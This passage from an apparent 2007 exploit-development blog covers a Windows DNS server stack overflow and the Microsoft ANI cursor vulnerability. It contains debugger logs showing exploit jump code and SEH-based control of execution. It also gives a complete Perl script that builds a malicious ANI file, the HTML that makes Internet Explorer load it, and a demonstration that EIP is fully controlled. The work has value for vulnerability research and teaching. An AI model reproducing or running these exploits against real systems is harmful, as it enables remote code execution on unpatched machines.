0101c68d 880a mov byte ptr [edx],cl ds:0023:00a60000=??

DNS server crash with access violation – try to write to memory address point by edx – 0x00a60000. I continue run the debugger by press ‘p’ :

ntdll!KiUserExceptionDispatcher+0x4:
77f91bbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:00a5f570=00a5f578

ntdll!KiUserExceptionDispatcher+0x7:
77f91bbf 51 push ecx

ntdll!KiUserExceptionDispatcher+0x8:
77f91bc0 53 push ebx

ntdll!KiUserExceptionDispatcher+0x9:
77f91bc1 e8ecaf0100 call ntdll!RtlDispatchException (77facbb2)

(140.320): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00a5f550 ebx=00a5fd54 ecx=41414141 edx=77fbb286 esi=00a5f578 edi=000a1039
eip=41414141 esp=00a5f4b8 ebp=00a5f4d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
41414141 ?? ???

The process try to call exception handler and end up with access violation at 0x41414141 – the return address that I change. Then, I investigate the other registers and found that the ebx register is the interesting one:

0:007> dd ebx
00a5fd54 424206eb 41414141 fffb3ae9 424242ff
00a5fd64 42424242 42424242 42424242 42424242
00a5fd74 42424242 42424242 42424242 42424242
00a5fd84 42424242 42424242 42424242 42424242

The ebx register point to near the serie of “\x42” byte which is our buffer. I disassemble 0x00a5fd54 – the address pointed by ebx:

0:007> u ebx
00a5fd54 eb06 jmp 00a5fd5c
00a5fd56 42 inc edx
00a5fd57 42 inc edx
00a5fd58 41 inc ecx
00a5fd59 41 inc ecx
00a5fd5a 41 inc ecx
00a5fd5b 41 inc ecx
00a5fd5c e93afbffff jmp 00a5f89b

The first 2 bytes of payload pointed by ebx is “eb 06” which means jump forward 6 bytes – jump to 0x00a5fd5c. At the address 0x00a5fd5c, the instruction “e93affbffff” means jump back 1222 bytes. These instructions are written in the module like these:

txt[ off - 4, 2] = "\xeb\x06" :

and

txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')

When the program jump back 1222 bytes, it will jump to the address 0x00a5f89b:

0:007> dd 00a5f89b
00a5f89b 43434343 43434343 43434343 43434343
00a5f8ab 43434343 43434343 43434343 43434343
00a5f8bb 43434343 43434343 43434343 43434343
00a5f8cb 43434343 43434343 43434343 43434343

Oh.. it is our shellcode. As you can see, if I change the return address to the address that hold the instruction to jump to ebx register, the flow of execution will reach to our shellcode.

I change back the return address to 0x75022ac4 , pop esi – pop ebx – ret instruction, and change shellcode to “\xcc” – break instruction. I rerun the exploit:

(120.1dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000a1c3a ebx=00a60001 ecx=00005042 edx=00a60000 esi=00a5f89a edi=000a7eae
eip=0101c68d esp=00a5f860 ebp=00a5f884 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
dns!extractQuotedChar+0x38:
0101c68d 880a mov byte ptr [edx],cl ds:0023:00a60000=??

0:007> g
(120.1dc): Break instruction exception - code 80000003 (first chance)
eax=00a5f550 ebx=00a5f578 ecx=75022ac4 edx=77fbb286 esi=77fbb272 edi=000a7eae
eip=00a5f89b esp=00a5f4c4 ebp=00a5f4d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00a5f89b cc int 3

Got it !!. Our shellcode is execute at 0x00a5f89b.

Now I have some question in my mind. Do we have to put the shellcode at the start of the buffer and the jump back to it ? Could we put the shellcode after the return address ?

To answer this question, I modify the exploit module to put the shellcode after the return address

newpayload = "\xcc" * payload.encoded.length
txt[off + 4, newpayload.length] = newpayload

and comment this line

txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')

This is the result:

(2d4.338): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000a1a31 ebx=00a60001 ecx=00005042 edx=00a60000 esi=00a5f89a edi=000a7ca5
eip=0101c68d esp=00a5f860 ebp=00a5f884 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
dns!extractQuotedChar+0x38:
0101c68d 880a mov byte ptr [edx],cl ds:0023:00a60000=??

0:007> g
(2d4.338): Break instruction exception - code 80000003 (first chance)
eax=00a5f550 ebx=00a5f578 ecx=75022ac4 edx=77fbb286 esi=77fbb272 edi=000a7ca5
eip=00a5fd5c esp=00a5f4c4 ebp=00a5f4d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00a5fd5c cc int 3

Yeah, the shellcode is executed same as the first one.

0:007> dd eip - 8
00a5fd54 424206eb 75022ac4 cccccccc cccccccc
00a5fd64 cccccccc cccccccc cccccccc cccccccc
00a5fd74 cccccccc cccccccc cccccccc cccccccc
00a5fd84 cccccccc cccccccc cccccccc cccccccc

0:007> u eip - 8
00a5fd54 eb06 jmp 00a5fd5c
00a5fd56 42 inc edx
00a5fd57 42 inc edx
00a5fd58 c42a les ebp,fword ptr [edx]
00a5fd5a 0275cc add dh,byte ptr [ebp-34h]
00a5fd5d cc int 3
00a5fd5e cc int 3
00a5fd5f cc int 3

Note: you may wonder what’s the function of this code in the exploit module:

# Convert the string to escaped octal
txt.unpack('C*').each do |c|
req << "\\" req <<>

This code convert our buffer to the octal data. Why we have to convert the buffer to the octal buffer ? The answer is that if we don’t have the ‘\’ that represent the octal number, the vulnerable function – extractQuotedChar() will be never called.

Monday, April 02, 2007

ANI Again: Exploiting Microsoft ANI Vulnerability in 10 minutes

One day after I release the ANI exploit, there are a lot of researches about this vulnerability. May be I don’t have to post about this thing, lol – just kiddies. I will post information about this vulnerability in my own way – how to create the malicious ANI file and how to write the exploit with one of the most easiest way – heap spraying. However, I will not describe the details that other peoples already have described.

Note: I have read many researches about this and I thing these are the interesting research


Now, let’s go.

I start to write the exploit after I read this paper. The paper describes the way that how the attacker partially overwrite EIP. I think the attacker use this technique to bypass ASLR on Vista. The anih header looks like this:

"\x52\x49\x46\x46\x13\x03\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xff\xff\x00\x00\x09\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x04\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4c\x03\x00\x00\x00"
"\x00\x00\x00\x00\x54\x53\x49\x4c\x04\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6e\x69\x68\x52\x00\x00\x00"

The last 4 bytes is the size of anih tag, normally 36 bytes, but in the exploit its value is 0x52 – 82 bytes. This size of header overwrites 2 lower bytes of EIP. Because I have not much time to investigate all of the behavior of bug, I decide to test my assumption with the fastest way. The assumption is that if I overwrite the entire stack (as I do in the VML exploit), I can redirect the flow of execution by the mechanism of Exception Handler. Then, I change the last 4 bytes to:

“\xff\xff\x00\x00”

This value is 65535 in decimal. My ani generator looks like this:

#!/usr/bin/perl

$aniheader =
"\x52\x49\x46\x46\x13\x03\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xff\xff\x00\x00\x09\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x04\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4c\x03\x00\x00\x00"
"\x00\x00\x00\x00\x54\x53\x49\x4c\x04\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6e\x69\x68\xff\xff\x00\x00";

$chunk = "\x0d" x 65535;

$payload = $aniheader . $chunk;

open(ANI, ">", "exploit.ani");
print ANI $payload;
close ANI;

I also create a simple HTML file to call .ani file:

...
BODY style="CURSOR:url('exploit.ani')"
...

I use IE browse the exploit page. This is the result:

(2d8.858): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0013df80 ebx=0000ffff ecx=00003798 edx=0000ffff esi=028621f4 edi=00140000
eip=77d83a85 esp=0013de1c ebp=0013de28 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010207

USER32!LoadCursorFromFileA+0xb2:
77d83a85 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00140000=78746341 ds:0023:028621f4=0d0d0d0d

0:000> dd esp
0013de1c 0013de88 0013df80 0013df80 0013de44
0013de2c 77d83ae0 0013df80 0013de64 0000ffff
0013de3c 02da0048 0000ffff 0013deb0 77d83fe2
0013de4c 0013df80 0013de88 0013de64 0013decc
0013de5c 0013defc 0013df80 0d0d0d0d 0d0d0d0d
0013de6c 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0013de7c 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0013de8c 0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d

0:000> g

(2d8.858): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000
eip=0d0d0d0d esp=0013da4c ebp=0013da6c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0d0d0d0d ?? ???

As you can see, EIP is completely controlled. All processes are done only in few minutes. The remaining job is just spraying nop + shellcode into the heap – everything is ended.

Now, it is nothing if I don’t investigate how the bug is exploited. First of all, look at ANI header in the exploit.

RIFF (“\x52\x49\x46\x46”)
Length of File (“\x13\x03\x00\x00”)
ACON (“\x41\x43\x4f\x4e”)
anih (“\x61\x6e\x69\x68”)
Length of Header (“\x24\x00\x00\x00”)
….all data 36 bytes…
LIST (“\x54\x53\x49\x4c”)
Length of List (“\x03\x00\x00\x00”)
….data 3 bytes + 1 byte padding…
LIST (“\x54\x53\x49\x4c”)
Length of List (“\x04\x00\x00\x00”)
…data 4 bytes…
anih (“\x61\x6e\x69\x68”)
Length of Header (“\xff\xff\x00\x00”)

Note: If you don’t know where to find information about the ANI header, to go this site.

Why there are 2 anih headers, One valid header size and another malicious header size, in the exploit ? Just only one anih can’t exploit this vulnerability ? The answer is in this analysis. The first anih header size is checked that is it 36 bytes or not. However, the 2nd anih header is not checked by any piece of code. That’s why the exploit have to use 2 anih header J

P.S. I have not much time to complete analysis the bug on my own. If I have enough time I will describe it in my blog.

P.S. I have no Vista test base, However I think my exploit could also work on Vista on 32 bits machine that doesn’t support NX bit, but it does not confirmed.